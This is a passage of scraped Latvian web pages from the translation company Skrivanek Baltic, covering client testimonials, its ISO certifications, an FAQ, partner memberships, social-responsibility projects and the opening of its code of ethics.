saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Ieviestās vadības sistēmas – ISO 9001, ISO 14001, EN 17100, ISO/IEC 27001, ISO 13485 – apliecina, ka uzņemamies atbildību par paveikto! - Published: 2017-10-02 - Modified: 2025-05-09 - URL: https://skrivanek.lv/kvalitate-un-drosiba/ - Translation Priorities: Optional Lai paaugstinātu piedāvāto pakalpojumu kvalitāti, stiprinātu Skrivanek pozīcijas valodu pakalpojumu risinājumu tirgū, kā arī uzlabotu vides un informācijas drošības pasākumus, Skrivanek ir ieviesis virkni vadības sistēmu. Esam lepni, ka Skrivanek bija pirmais valodu pakalpojumu sniedzējs Centrāleiropā un Austrumeiropā, kas pilnībā izpildīja kvalitātes vadības sistēmas EN ISO 9001 prasības, un jau 2002. gadā saņēma TÜV Suddeutschland Holding izsniegto sertifikātu. Taču neapstājāmies pie sasniegtā, un mūsu speciālisti ir sistemātiski strādājuši, lai sniegtie pakalpojumi un apkalpošanas līmenis atbilstu standarta EN 17100:2015 prasībām. Šis standarts nosaka procesu vadības prasības tieši tulkošanas pakalpojumu sniedzējiem. Esam videi draudzīgs uzņēmums, tādēļ esam ieviesuši vides vadības sistēmu, kas atbilst EN ISO 14001:2015 standarta prasībām. Viena no Skrivanek vērtībām ir atbildība pret klientu, kas ietver arī uzticēto datu drošību, tādēļ nesen ieviesām informācijas drošības vadības sistēmu un saņēmām ISO/IEC 27001:2022 sertifikātu. 2021. gada rudenī Skrivanek Baltic ir ieguvis arī ISO 18587 sertifikātu, kas apliecina, ka uzņēmums ir ieviesis visas nepieciešamās procedūras kvalitatīvai mašīntulkoto tekstu pēcapstrādes nodrošināšanai. Starptautiskais pēcapstrādes rediģēšanas jeb mašīntulkoto tekstu pēcapstrādes, ko veic tulkotājs, standarts joprojām ir salīdzinoši jauns. EN ISO 9001 Ieviestā kvalitātes vadības sistēma EN ISO 9001:2015 apliecina, ka uzņēmumā ir ieviesti un tiek īstenoti nepieciešamie procesi, lai sniegto pakalpojumu kvalitāte atbilst klientu vēlmēm un normatīvo aktu prasībām. Apskatīt sertifikātu EN ISO 14001 Iegūtais EN ISO 14001:2015 sertifikāts apliecina mūsu uzņēmuma rūpes par vidi, tostarp videi saudzīgu tehnoloģiju un materiālu izmantošanu uzņēmējdarbībā, atkritumu šķirošanu un tikai nepieciešamo dokumentu drukāšanu. Apskatīt sertifikātu EN 17100 Darbs saskaņā ar tulkošanas procesu vadības standartu EN 17100:2015 nozīmē, ka mūsu uzņēmumā tulkošanas speciālistu atlase, saziņa, projektu vadība, darba process, tehnoloģiju izmantojums un citi ar nozari saistītie aspekti atbilst noteiktajām prasībām. Apskatīt sertifikātu ISO/IEC 27001 Ieviestā informācijas drošības vadības sistēma ISO/IEC 27001:2022 apliecina, ka mūsu uzņēmumā ir īstenoti informācijas aizsardzības pasākumi un nodrošināta nepieciešamā kontrole, garantējot sadarbības partneru uzticēto datu drošību un konfidencialitāti. Apskatīt sertifikātu ISO 18587 Šis standarts paredzēts, lai valodu pakalpojumu uzņēmumi uzlabotu pēcrediģēšanas procesa kvalitāti izmērāmā un nepārtrauktā veidā. ISO 18587 audits galvenokārt attiecas uz pēcrediģēšanas procesiem un darba plūsmu, kur projekta vadītājs un redaktors kopīgi strādā pie projekta izpildes. Apskatīt sertifikātu ISO 13485 ISO 13485 standarts nosaka prasības kvalitātes vadības sistēmai, kas ir specifiska uzņēmumiem, kas darbojas medicīnisko ierīču nozarē. Tā galvenais mērķis ir nodrošināt konsekvenci, drošību un kvalitāti produktos un pakalpojumos visos posmos – no izstrādes un ražošanas līdz izplatīšanai un pēcpārdošanas atbalstam. Apskatīt sertifikātu Biežāk uzdotie jautājumi Esam ISO 9001, EN 17100, ISO 27001, ISO EN 14001 un ISO EN 18585 sertificēts uzņēmums. Mēs rūpīgi ievērojam konfidencialitāti, uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! EN 17100 standarts nosaka procesu vadības prasības tieši tulkošanas pakalpojumu sniedzējiem. Savu klientu sirdsmieram esam noslēguši profesionālās civiltiesiskās atbildības līgumu ar starptautisku apdrošinātāju Colonnade Insurance S. A. Mēs nodrošinām tulkojumus arī ar notāra apliecinājumu vai biroja apliecinājumu. Nē, visus tulkošanas pakalpojumu pasūtījumus pieņem un uzrauga projektu vadītājs, kurš ir kā tilts starp pasūtītāju un tulkotāju. Skrivanek Baltic tulki un tulkotāji spēj nodrošināt tulkojumus vairāk nekā 110 valodās. Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. Biežāk uzdotie jautājumi Esam ISO 9001, EN 17100, ISO 27001, ISO EN 14001 un ISO EN 18585 sertificēts uzņēmums. Mēs rūpīgi ievērojam konfidencialitāti, uzņemamies atbildību par paveikto un nekavējam izpildes termiņus! EN 17100 standarts nosaka procesu vadības prasības tieši tulkošanas pakalpojumu sniedzējiem. Savu klientu sirdsmieram esam noslēguši profesionālās civiltiesiskās atbildības līgumu ar starptautisku apdrošinātāju Colonnade Insurance S. A. Mēs nodrošinām tulkojumus arī ar notāra apliecinājumu vai biroja apliecinājumu. Nē, visus tulkošanas pakalpojumu pasūtījumus pieņem un uzrauga projektu vadītājs, kurš ir kā tilts starp pasūtītāju un tulkotāju. Skrivanek Baltic tulki un tulkotāji spēj nodrošināt tulkojumus vairāk nekā 110 valodās. Mēs veicam tulkošanu mutiski un rakstiski, kā arī nodrošinām plašu valodu risinājumu klāstu. Mutisko tulkošanu nodrošinām konferencēs, darījumu tikšanās laikā, kā arī mūsu tulki sniedz atbalstu tiesvedības gaitā. Rakstiskie tulkojumi ietver specializētos un vispārīgos tulkojumus dažādās nozarēs. Nodrošinām arī lokalizācijas pakalpojumus, tekstu adaptāciju un radīšanu, DTP un valodu mācības. INFORMĀCIJAS DROŠĪBAS POLITIKA Vairāk KVALITĀTES UN VIDES VADĪBAS INTEGRĒTĀ POLITIKA Vairāk INFORMĀCIJAS DROŠĪBAS POLITIKA Vairāk KVALITĀTES UN VIDES VADĪBAS INTEGRĒTĀ POLITIKA Vairāk TIRGŪ JAU VAIRĀK NEKĀ 30 GADUS! Mums ir plaša pieredze tekstu tulkošanā par dažādām tēmām. 0+ Valodu dažādās kombinācijās 0+ milj. Iztulkotu vārdu 2024. gadā 0+ Valodu speciālistu 0 ISO sertifikāti KO PAR MUMS SAKA MŪSU KLIENTI? Valsts ieņēmumu dienests Skrivanek Baltic darbinieki ir atsaucīgi un pretimnākoši, un tulkojumu pieprasījumi tiek apstrādāti ātri un kvalitatīvi, veiksmīgi aptverot specifisko Valsts ieņēmumu dienesta terminoloģiju, gan tulkojot juridiskus tekstus, gan nodokļu un muitas terminoloģiju.  Valsts sociālās apdrošināšanas aģentūra Starptautisko pakalpojumu nodaļas Pensiju daļa Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris, jo tulkojumi tiek veikti profesionālā kvalitātē, lietojot nozares specifisko terminoloģiju.  Latvijas Tirdzniecības un rūpniecības kamera Līga Sičeva, Eiropas Savienības projektu daļas vadītāja Sadarbības laikā SIA Skrivanek Baltic sevi ir pierādījis kā atbildīgs sadarbības partneris, kas ievēro klienta vēlmes, tulkojumus veic augstā profesionālā kvalitātē, ievērojot nozares terminoloģiju, konfidencialitāti un noteiktos darbu izpildes termiņus.  Jazz Communications Mēs ar Skrivanek Baltic sadarbojamies jau vairākus gadus. Lielākoties izmantojam rakstiskos tulkojumus latviešu, krievu un angļu valodās, bet ir nācies izmantot arī retākas valodas – arābu, igauņu u. c. Tāpat regulāri izmantojam latviešu tekstu literāro redaktoru, korektoru un “copywrite” pakalpojumus. Sadarbība ir lieliska, projektu vadītāji (kontaktpersonas) ātri, atsaucīgi, konstruktīvi. Cenu politika saprotama, atklāta un pieņemama.  Latvijas Republikas Prokuratūra Administratīvā direktora dienests Skrivanek Baltic sevi ir pierādījis kā profesionāls, uzticams un kvalitatīvs sadarbības partneris. Savstarpējās sadarbības laikā nav bijušas nekādas pretenzijas par Skrivanek Baltic darbību, visi darba jautājumi tiek risināti operatīvi un ar savstarpēju sapratni.  Izglītības un zinātnes ministrija E. Severs, Valsts sekretāra vietnieks – Sporta departamenta direktors, valsts sekretāra pienākumu izpildītājs Sadarbību ar SIA Skrivanek Baltic vērtējam kā ļoti sekmīgu, jo uzņēmumam ir atbilstoša pieredze un kvalificēti darbinieki, kas spēj nodrošināt pasūtījuma izpildi atbilstoši Pasūtītāja prasībām. Tulki veica darbu kvalitatīvi un ar lielu atbildības sajūtu. Īpaši novērtējām tulku atsaucību un daudzveidīgo profesionālo pieredzi, sadalot tulku pārus pa nozaru sekcijām. Sekciju darba sinhronā tulkošana prasīja ne tikai pastiprinātu uzmanību, bet arī specifiskas un aktuālas terminoloģijas zināšanas.  Rīgas dome Pilsētas attīstības departaments Abpusējo sadarbību vērtējam kā pozitīvu, uzticamu, ļoti pretimnākošu un organizatoriskā ziņā teicami īstenotu. Līdzšinējā sadarbība bijusi patīkama un veiksmīga, jo īpaši vēlētos uzteikt atsaucīgos un laipnos kompānijas darbiniekus.  --- > Valodu uzņēmuma Skrivanek Baltic sadarbības partneri. Vairāk par sadarbības iespējām rakstiet uz marketings@skrivanek.lv! - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/sadarbibas-partneri/ - Translation Priorities: Optional SKRIVANEK BALTIC DARBOJAS ORGANIZĀCIJĀS: Amerikas Tirdzniecības palāta Latvijā Latvijas Tirdzniecības un rūpniecības kamera Vācijas-Baltijas Tirdzniecības kamera Igaunijā, Latvijā, Lietuvā Zviedrijas tirdzniecības palāta Latvijā Eiropas valodu pakalpojumu sniedzēju asociācija SKRIVANEK HOLDING SE DARBOJAS ORGANIZĀCIJĀS: ATC — The Association of Translation Companies GALA – The Globalization and Localization Association ACTA – The Association of Czech Translation Agencies The Association of Language Companies D-U-N-S® (Data Universal Numbering System) --- > Skrivanek Baltic ir sociāli atbildīgs valodu pakalpojumu sniedzējs Latvijā, kas īsteno sabiedrības atbalsta un labdarības projektus! - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/korporativa-sociala-atbildiba/ - Translation Priorities: Optional KORPORATĪVĀ SOCIĀLĀ ATBILDĪBA Korporatīvi sociālā atbildība (KSA) ir vērtību sistēma, ko persona vai uzņēmums brīvprātīgi izvēlas un attīsta, lai palīdzētu sev, citiem cilvēkiem un apkārtējai videi, kā arī, lai pilnveidotu savas un citu kompetences un zināšanas. Sociālās atbildības koncepcijas jēdziens ietver brīvprātīgu sociālo un vides problēmu iekļaušanu uzņēmuma ikdienas procesos un to mijiedarbībā. Tas ir brīvprātības instruments, kura pareiza ieviešana veicina uzticību un paļāvību visu iesaistīto pušu starpā. SABIEDRĪBAS ATBALSTA POLITIKA Skrivanek Baltic ir sociāli atbildīgs valodu pakalpojumu sniedzējs Latvijā un īsteno sabiedrības atbalsta un labdarības projektus. Uzņēmuma izaugsme sniedz iespēju atvēlēt resursus (gan mūsu sniegtos pakalpojumus, gan brīvprātīgo darbu un finanšu līdzekļus), lai mērķtiecīgi atbalstītu dažādas sabiedrības aktivitātes, kas saskan ar mūsu uzņēmuma vērtībām: atbildība, sapratne, izaicinājums. Mūsu sabiedrības atbalsta prioritātes ir noteiktas, pamatojoties uz mūsu uzņēmējdarbības formu, un to noteikšanā ir piedalījušies Skrivanek Baltic darbinieki. Atbalsta prioritātes ir izglītība, bērnu un jauniešu labklājība, starpkultūru sakari. Definētie atbalsta pamatvirzieni neizslēdz mūsu iesaistīšanos arī cita veida projektos. iniciatīvas, kas vērstas uz sabiedrības izglītošanos un attīstību, veicina bērnu un jauniešu labklājību, kā arī stimulē starpkultūru sakarus un pārrobežu sadarbību; projektus, kuriem nepieciešamas mūsu profesionālās zināšanas un valodu pakalpojumi; izvērtējot iesniegtās atbalsta aktivitātes, tiek apzināti nepieciešamie resursi un priekšroka tiek dota tām, kas spēj sniegt izmērāmus rezultātus, ar iespēju veidot ilglaicīgu sadarbību. aktivitātes, kas var raisīt neiecietību un ir pretrunā vispārpieņemtām morāles vērtībām; iniciatīvas, kas atbalsta reliģiskus/politiskus pasākumus vai organizācijas; projektus, kas popularizē azartspēles, alkohola un tabakas lietošanu. sūtiet atbalsta projekta aprakstu brīvā formā uz: marketings@skrivanek. lv. Norādiet precīzu nepieciešamā atbalsta formu un apjomu, kā arī pievienojiet savus kontaktus; priekšroka tiks sniegta tiem projektiem, kas pēc savas būtības ir nepārprotami saistīti ar Skrivanek Baltic vērtībām un atbilst mūsu atbalsta prioritātēm; ir būtiski, lai ierosinātā iniciatīva spēj nodrošināt izmērāmus rezultātus ar iespēju attīstīt ilglaicīgu sadarbību; iesūtītās idejas tiks izskatītas, un Skrivanek Baltic darbinieks nosūtīs atbildi elektroniskā formā 20 dienu laikā. ESI SOCIĀLI ATBILDĪGS KĀ MĒS KATRS VARAM BŪT SOCIĀLI ATBILDĪGI? 1. Braucot uz darbu ar sabiedrisko transportu (piemēram, vienā trolejbusā vai autobusā ietilpst no 40 līdz 50 cilvēkiem) vai vēl labāk – ar velosipēdu! 2. Taupot elektroenerģiju. 3. Taupot papīru, proti, apdrukājot papīru no abām pusēm un nedrukājot to, ko var izlasīt datorā. 4. Šķirojot atkritumus, nepiesārņojot dabu. 5. Ziedojot internetā, piemēram: www. ziedot. lv – tas tiešām ir viegls veids, kā kādam palīdzēt grūtā brīdī. Tāpat var piedalīties arī citos labdarības projektos vai izveidot savu! 6. Lietojot mazāk karstā ūdens, kā arī taupot auksto. 7. Iestādot kociņu vai pat veselu mežu! 8. Ar cieņu izturoties pret apkārtējiem. 9. Veikalos izvēloties papīra vai auduma maisiņus. 10. Ieraugot nelaimē nonākušu cilvēku vai dzīvnieku, nemierināt sevi ar domu – visiem jau nepalīdzēsi! Ko mainīt un ko labu paveikt varam un spējam mēs katrs! 11. Atceroties, ka mēs neesam mantojuši zemeslodi, bet gan aizņēmušies to no mūsu bērniem. Un kā to darāt jūs? PRETKRĀPŠANAS KUSTĪBA Skrivanek Baltic ir par godīgu uzņēmējdarbības vidi, tādēļ esam pievienojušies pretkrāpšanas kustībai #ATKRĀPIES! , kas apvieno organizācijas, kurām rūp godīgums un kuras ir gatavas sadoties rokās, lai par to cīnītos un šajā cīņā iesaistītu visu Latvijas sabiedrību. Šo iniciatīvu Latvijā īsteno tiesībsargājošās iestādes, lai kopīgi apkarotu krāpšanos un veicinātu sabiedrības izglītošanas jautājumus. Iniciatīva ir politiski neitrāla. Kustības mērķis ir aicināt sabiedrību izpētīt un apdomāt pirms uzķerties, izzināt, pirms kļūt par krāpšanas upuri, kļūt kritiskākiem un izvērtēt riskus – gan tos, kas var rasties individuāli, gan tos, kuri pastāv valstiskā mērogā, ja tiek veicināta un tolerēta krāpšanās un ēnu ekonomika. ĢIMENEI DRAUDZĪGA DARBAVIETA Uzņēmums Skrivanek Baltic ir ieguvis godpilno statusu Ģimenei draudzīga darbavieta 2021 kategorijā Mazie un vidējie uzņēmumi. Statuss piešķirts Sabiedrības integrācijas fonda īstenotās iniciatīvas Ģimenei draudzīga darbavieta ietveros. Iniciatīvas mērķis ir sekmēt tādas darba vides kultūras attīstību Latvijā, kas ir empātiska, cilvēcīga un saprotoša, vienlaikus piedāvājot instrumentus gan esošās darba vides novērtējumam, gan finansiālu palīdzību dažādu atbalsta pasākumu ieviešanā darbiniekiem. ATBALSTS LABDARĪBAS MARATONAM DOD PIECI! 2022 Solidarizējoties ar ukraiņu tautu, kas Krievijas sāktā kara dēļ spiesta doties bēgļu gaitās, šī gada labdarības maratons “Dod pieci! ”, aicina Latvijas sabiedrību ar savu ziedojumu atbalstīt Latvijā nonākušos ukraiņu bērnus. Ar minimālo ziedojuma summu 5 eiro, ikvienam ir iespēja izvēlēties vienu dziesmu Latvijas Radio 5 – Pieci. lv ēterā un sniegt atbalstu bērniem no Ukrainas piedzīvot Latvijā vēl vienu dienu bez sirēnām un sprādzieniem. Skrivanek Baltic komanda ir gandarīta par iespēju palīdzēt īstenot projektu un sniegt atbalstu, nodrošinot tulkojumus angļu, ukraiņu un krievu valodā. Labdarības maratons noritēs no šī gada 16. līdz 22. decembrim. To rīko Latvijas Radio kopā ar Latvijas Televīziju un ziņu portālu LSM. lv. Vairāk par maratonu šeit. ZIEDOJUMA ABONĒŠANA UKRAINAS ARMIJAI PLATFORMĀ STOPIFY Skrivanek Baltic cenšas atbalstīt Ukrainas iedzīvotājus visdažādākajos veidos. Ja varam ar mūsu valodu speciālistu palīdzību kaut nedaudz sniegt palīdzīgu roku Ukrainai cīņā par brīvību, mēs to darām! Esam gandarīti un pagodināti, ka “Stopify” idejas autors un iniciators Māris Upenieks tieši pie mums vērsās ar lūgumu atbalstīt ar platformas tulkošanu angļu un ukraiņu valodā, lai iniciatīva sasniegtu pēc iespējas plašāku starptautiskās sabiedrības daļu. “Stopify” ir ziedojumu straumēšanas platforma, kas darbojas pēc ikmēneša abonementa principa – lietotājs var izvēlēties vienu no trim “abonēšanas plāniem”, ko iespējams jebkurā brīdī mainīt vai atcelt. Tā ir iespēja abonēt atbalstu Ukrainas armijai. Vairāk par platformu šeit. --- > Valodu uzņēmuma Skrivanek Baltic darbinieku profesionālās ētikas un uzvedības pamatprincipi, kas saistoši arī Skrivanek sadarbības partneriem. - Published: 2017-10-02 - Modified: 2024-01-23 - URL: https://skrivanek.lv/etikas-kodekss/ - Translation Priorities: Optional Mūsu uzņēmējdarbības pamatā ir atbildība, uzticamība un godīgums. Šīs ir trīs galvenās pamatvērtības, kas ļauj mums būt uzticamam darba devējam, sadarbības partnerim un nozares pārstāvim. Mēs veidojam ilgtermiņa sadarbību ar darbiniekiem un līgumdarbiniekiem (turpmāk saukti – valodu speciālisti), klientiem, piegādātājiem un citiem sadarbības partneriem. Mēs nepārtraukti uzlabojam un attīstām savus pakalpojumus valodu mācību, tulkošanas, kā arī citās ar valodu apguvi, vai tekstu veidošanu saistītās jomās. Mēs zinām, ka mūsu darbinieki un valodu speciālisti ir mūsu lielākā vērtība, tādēļ nodrošinām atvērtu, atklātu un cieņpilnu darba vidi. Katrs uzņēmuma darbinieks un valodu speciālists ir atbildīgs par uzņēmuma reputāciju un darba devēja tēlu sabiedrībā. Šā ētikas kodeksa mērķis ir skaidri definēt mūsu darba un biznesa ētikas principus, kas ir mūsu darbības vadmotīvs. Šis kodeks ir veidots, lai mūsu darbības principi būtu vienlīdz zināmi gan mūsu valodu speciālistiem, gan arī sadarbības partneriem. Ētikas kodeks neaptver pilnīgi visus iespējamos jautājumus, kādi var rasties. Mēs paļaujamies ka mūsu darbinieki un valodu speciālisti, kas pārstāv Skrivanek Baltic intereses, jautājumos kuri šeit nav aprakstīti, pieņem lēmumus balstoties uz likuma prasībām un mūsu trim pamatvērtībām – atbildību, uzticamību un godīgumu, kā arī neskaidru jautājumu gadījumos vēršas pie Skrivanek Baltic vadības pēc nepieciešamās konsultācijas. Ētikas kodeks attiecas vienlīdz uz uzņēmuma vadību, katru darbinieku un valodu speciālistu. Šā kodeksa principi tiek ievēroti arī mūsu ikdienas uzņēmējdarbībā, veidojot sadarbību ar klientiem, piegādātājiem un partneriem. Savā darbībā mēs ievērojam vietējo likumdošanu, kas nosaka uzņēmējdarbību, godīgu komercpraksi, darba likumdošanu, datu aizsardzību, darba drošības standartus, nodokļu likumdošanu un citus ar uzņēmējdarbību saistītos jautājumus. Mēs norādām patiesu informāciju par savu finansiālo darbību, iestājamies pret korupciju, uzskatām, ka jebkuri nepamatoti maksājumi vai dāvinājumi ir nepieņemami un esam par godprātīgu konkurenci. Skrivanek Baltic cenšas veikt visu nepieciešamo, lai uzņēmuma vadība, darbinieki, valodu speciālisti un sadarbības partneri ievērotu šos likumus, standartus un principus. Mēs arī izturamies ar cieņu pret vietējām kultūras tradīcijām un tās ievērojam, ja vien tās nav pretrunā likumdošanai, šādos gadījumos likumdošanai ir primārā nozīme. Mūsu valodu speciālisti strādā Skrivanek Baltic interesēs, mūsu darbu vērtē pēc tā, cik atbildīgi un uz klientu apkalpošanas kvalitāti ir vērsti mūsu darbinieki un valodu speciālisti. Mēs iedrošinām savus darbiniekus un valodu speciālistus izteikt un aizstāvēt savu viedokli, īpaši tas attiecas uz nepamatotām prasībām vai nepieļaujamu darbību no Skrivanek Baltic vai to klientu, sadarbības partneru puses. Darbinieki un valodu speciālisti tiek aicināti izteikt savas aizdomas vai bažas par iespējamu ļaunprātīgu, neētisku vai citādi nepieņemamu rīcību, par to ziņojot Skrivanek Baltic uzņēmuma vadībai, kuras uzdevums ir tās izskatīt, ja nepieciešams izmeklēt un veikt attiecīgas darbības, neskatoties uz to, kas ir iesaistītās personas. Mēs lepojamies ar savu darba vidi. Mēs ievērojam un veicinām cilvēktiesību ievērošanu, izturamies ar cieņu pret uzskatu atšķirībām, tostarp reliģiskajā, politiskajā, etniskajā vai dzimumlīdztiesības jomā. Tas, ka mūsu darbinieki ir atšķirīgi, ar dažādiem uzskatiem un pārliecībām palīdz mums būt radošam uzņēmumam un veiksmīgi attīstīties. Jebkāda negatīva, agresīva vai diskriminējoša attieksme pret darbiniekiem, valodu speciālistiem, klientiem, sadarbības partneriem ir nepieņemama. Vienlīdzības princips tiek ievērots, pieņemot darbā un attīstot un pilnveidojot darbinieku un valodu speciālistu iemaņas, ja vien to kvalifikācija un darba kvalitāte atbilst izvirzītajām prasībām. Mēs iedrošinām darbiniekus un valodu speciālistus uz atklātu dialogu, gan jautājumos, kuros ir nepieciešams padoms vai atbalsts, gan arī aicinām izteikt savus priekšlikumus biznesa attīstības, savstarpējās komunikācijas un sniegto pakalpojumu kvalitātes uzlabošanas jomā. Mēs vēlamies, lai mūsu klienti mums uzticētos, tādēļ mēs nepārtraukti strādājam pie tā, lai mēs attīstītos un pilnveidotos, sniedzot kvalitatīvu pakalpojumu un ietu līdzi laikam. Mēs esam atbildīgi mūsu klientu priekšā un izmantojam kvalitātes vadības sistēmas, kuras regulāri pārskatām un uzlabojam atbilstoši valodas pakalpojumu nozares prasībām. Mēs nemaldinām mūsu klientus par sniegtajiem pakalpojumiem un gadījumos, ja rodas jautājumi par kvalitātes atbilstību, tos izmeklējam un veicam atbilstošas korekcijas. Interešu konfliktu gadījumā darbiniekiem un valodu speciālistiem ir nekavējoties jāinformē attiecīgais projektu vadītājs vai Skrivanek Baltic vadība par situāciju, kas var ietekmēt pakalpojuma izpildi, šādus gadījumus Skrivanek Baltic vadība izskata prioritārā secībā un veic nepieciešamās darbības klienta un Skrivanek Baltic interešu aizstāvēšanai. Valodu speciālista pienākums ir arī nekavējoties ziņot attiecīgajam projektu vadītājam, ja tam trūkst nepieciešamās informācijas vai instrumentu pakalpojuma kvalitatīvai nodrošināšanai un savlaicīgai darba izpildei. Mēs arī iedrošinām valodu speciālistus atklāti izteikt idejas un priekšlikumus par pakalpojuma kvalitātes nodrošināšanu un uzlabošanu. Savu pakalpojumu mārketinga un pārdošanas stratēģiju mēs balstam uz patiesas informācijas sniegšanu, savā reklāmā neizmantojam aizskarošu vai naidīgu komunikāciju. Mums rūp mūsu klienti, tādēļ par saviem lielākajiem panākumiem uzskatām pozitīvas klientu atsauksmes un ieteikumus. Mēs ievērojam mūsu klientu datu aizsardzības principus. Datu un informācijas aizsardzība ir aktuāls jautājums. Skrivanek Baltic godprātīgi un atbildīgi izturas pret informāciju, ko valodu speciālisti, klienti un citi sadarbības partneri ir uzticējuši uzņēmumam un ievēro likumdošanā noteiktās prasības datu un informācijas aizsardzības jomā. Mūsu darbinieki un valodu speciālisti ievēro konfidencialitāti attiecībā uz jebkuriem klientu dokumentiem un materiāliem gadījumos, ja šāda informācija nav publiski pieejama. Skrivanek Baltic neuzglabā informāciju, kura uzņēmumam nav nepieciešama pasūtījuma izpildei, rūpējas par iekšējo uzskaites sistēmu uzturēšanu un kiberdrošību. Kopā mēs varam paveikt vairāk. Mūsu sadarbība ar piegādātājiem ir daļa no ilgtermiņa biznesa attīstības, tādēļ izvēlamies tos ar rūpību, ņemam vērā to reputāciju, atbildīgu uzņēmējdarbību un vēlmi sadarboties arī nākotnē. Mēs esam atklāti par sadarbības partneru izvēles kritērijiem un esam gatavi sniegt plašāku informāciju arī tiem piegādātājiem, kuri šiem kritērijiem nav atbilduši. Mēs arī esam atklāti, potenciālo interešu konfliktu gadījumos, jo tie var kļūt par iemeslu sadarbības atteikumam. Skrivanek Baltic veic visus maksājumus uz izrakstītu maksājumu dokumentu pamata un attiecas atbildīgi pret maksājumiem saviem sadarbības partneriem. Pakalpojumu vai preču pasūtījumam ir jābūt fiksētam rakstiski, ja pasūtījumu summa pārsniedz 500 eiro. Mēs ar atbilstošu rūpību attiecamies pret sadarbības partneru konfidenciālo informāciju, kas uzņēmumam ir tikusi atklāta sadarbības rezultātā, un ievērojam konfidencialitātes principus par kuriem puses ir vienojušās. Skrivanek Baltic vadība un valodu speciālisti var pieņemt un dot nelielas simboliskas dāvanas, ja tas ir tieši saistīts ar Skrivanek Baltic biznesa interesēm un nepārkāpj likumdošanā noteiktās normas. Ir pieņemama dalība ar Skrivanek Baltic uzņēmējdarbību saistītās maltītēs vai ar biznesa attīstību un uzturēšanu saistītos pasākumos, tādos kā, piemēram, konferences, semināri. Dāvanas nevar būt monetāras. Mūsu darbinieki un valodu speciālisti laikā, kad strādā Skrivanek Baltic interesēs nepieņem no sadarbības partneriem uzaicinājumus uz dārgiem restorāniem, izklaides vietām, kā arī citas dārgas dāvanas, tai skaitā naudu vai dāvanu kartes. Dārgas dāvanas nekavējoties jāatdod dāvinātājam, kā paskaidrojumu minot Skrivanek Baltic ētikas kodeksa pārkāpumu, ja dāvana kaut kādu iemeslu dēļ nevar tikt atdota dāvinātājam, tā jānodod Skrivanek Baltic vadībai, kas tālāk to izmanto labdarības nolūkos. Skrivanek Baltic valodu speciālisti izmanto uzņēmuma resursus, tajā skaitā arī intelektuālo īpašumu uzņēmuma labā, nevis savu privāto interešu labā. Bezrūpīga, nolaidīga attieksme, resursu izniekošana vai zādzība tieši ietekmē Skrivanek Baltic finansiālo rezultātu un netiek atbalstīta, tā atbilstoši likumdošanai var tikt arī sodīta. Mēs sadarbojamies ar valsts iestādēm, valdību un esam savas nozares pārstāvji un kā tādi ņemam dalību sabiedrisko jautājumu apspriešanā. Skrivanek Baltic neatbalsta politiskās partijas, atsevišķus politiķus, politiskās vai reliģiskās kustības, organizācijas nedz finansiāli nedz jebkādā citā veidā. Skrivanek Baltic ievēro un ciena savu darbinieku un valodu speciālistu personīgo izvēli paust savu politisko vai reliģisko nostāju un personīgi to atbalstīt, kamēr vien tas netiek veikts uzņēmuma vārdā. Darba vide un uzņēmuma resursi nevar tikt izmantoti kā personīgā atbalsta platforma. Veicot individuālo atbalstu darbiniekiem un valodu speciālistiem jāievēro likumdošanā paredzētā kārtība, darbības, kas var tikt uzskatītas par nelikumīgām, vai radīt aizdomas par korupciju, nav pieņemamas. Savukārt Skrivanek Baltic atbalsta, skaidri pārskatāmu, profesionāli un finansiāli pamatojamu dalību labdarības, kultūras vai citos pasākumos. Jebkura šāda atbalsta pamatā, neskatoties uz tā apmēru, jābūt skaidram plānam, kā šādu sadarbību uzņēmums var attīstīt ilgtermiņā un vai tam ir ilgtermiņa pozitīva sabiedriskā ietekme. Skrivanek Baltic izturas ar cieņu pret apkārtējo vidi. Mēs domājam par to, kā ikviena uzvedība ietekmē vidi un kā katrs no darbiniekiem un valodu speciālistiem var ietekmēt atbildīgu dabas resursu izmantošanu. Mēs domājam par to, kā materiāli var tikt izmantoti atkārtoti, šķiroti, pārstrādāti un izmesti atbildīgā veidā. Jebkura, pat neliela rīcība palīdz uzlabot situāciju, kā, piemēram, izslēgt apgaismojumu pirms aiziešanas no biroja. Tikai mūsu uzņēmuma vadītāji vai to pilnvarotas personas var oficiāli pārstāvēt uzņēmumu publiskos medijos vai pasākumos. Skrivanek Baltic vadītāji pārstāv uzņēmuma intereses un viņiem/viņām ir papildu atbildība būt par ētiskas darbības piemēru un to uzturēt un atbalstīt uzņēmumā. Mūsu vadītāju uzdevums ir atbalstīt darbiniekus un valodu speciālistus, sniedzot 